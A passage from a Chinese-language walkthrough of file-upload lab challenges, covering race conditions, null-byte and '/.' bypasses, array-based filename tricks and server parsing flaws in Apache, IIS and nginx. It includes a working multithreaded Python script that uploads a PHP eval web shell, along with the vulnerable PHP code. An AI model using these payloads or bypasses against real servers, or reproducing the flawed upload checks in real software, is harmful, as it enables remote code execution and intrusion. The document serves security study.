后端对后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名。这样同样存在条件竞争的漏洞。可以使用脚本进行多线程跑,由于条件竞争,程序会出现来不及rename的问题,从而上传成功。

#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
    url="http://192.168.254.153/Pass-18/index.php"
    geturl="http://192.168.254.153/upload/shell.php.7z"
    file={'upload_file':('shell.php.7z',"<?php @eval($_POST['c1imber']);?>",'image/jpeg')}
    data={'submit':'上传'}
    r=requests.post(url=url,data=data,files=file)
    #print "test upload...."
    r1=requests.get(url=geturl)
    if r1.status_code==200:
        print("upload success!")
if __name__=="__main__":
    pool = Pool(10)
    pool.map(CompeteUpload, range(10000))
    pool.close()
    pool.join()

sLJ441.png

19./.绕过


利用条件:黑名单过滤+move_uploaded_file()函数


主要代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
pathinfo(函数以数组的形式返回关于文件路径的信息
pathinfo(path,options)
move_uploaded_file(A,B)函数此函数将会检查文件A是否是合法的上传文件如果是将把文件A移动到B的目录下否则将会返回false并且不执行任何操作

方法一:

由源码可得,最后图片的名字 $file_name 拼接而成,因此如果在中途将 $file_name 换掉,最开始 $file_name = upload-19.jpg,如果我们中途将他换成 upload-19.php +(二进制00截断)那么便可以以我们想要的格式执行

sLRnu4.png

方法二:

黑名单过滤+move_uploaded_file()函数

利用 move_uploaded_file会忽略掉文件末尾的/.

所以可以直接上传后缀为.php/. 的文件绕过

sLWeit.png

20.数组/.绕过


逻辑漏洞


主要代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

逻辑漏洞,没有考虑数组第二个元素不存在的情况。

$file_name经过reset($file) . '.' . $file[count($file) - 1];处理

如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));。 并且后缀有白名单过滤

而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。 $file[0]shell.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。 此时end($file)等于jpg,$file[count($file) - 1]为空。 而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是shell.php/.,最终move_uploaded_file会忽略掉/.,最终上传smi1e.php

sLTFpR.png

文件解析漏洞

1 Apache

  1. Apache的解析规则为:从右至左依次尝试,直至识别

    eg: 1.php.xxx

  2. 换行解析:2.4.0~2.4.29版本中的漏洞1.php\0x0A会被按照PHP进行解析

2 IIS

  1. 畸形目录解析(<=6.0):.asp结尾的目录下面,被IIS当做网页解析/xxxxx.asp/xxxxx.jpg
  2. 分号文件解析:IIS解析时忽略分号后面的部分test.asp;.jpg
  3. 开启fast-cgi引起的畸形解析:在文件路径后面加上/xx.php会将原来的文件解析成php文件。xxx.jpg/.php或者xxx.jpg/不存在.php

3 nginx

  1. 在fast-cgi引起的畸形解析(和IIS一样)

  2. 空字节代码执行:xxx.jpg%00.php

  3. 文件名逻辑漏洞:/test.jpg \0.php中间有空格

  4. 路径穿越(配置不当):可以通过访问/files../的方式穿越路径

    //正确配置
    location /files/ {
      alias /home/;
    }
    //错误配置
    location /files{
      alias /home/;
    }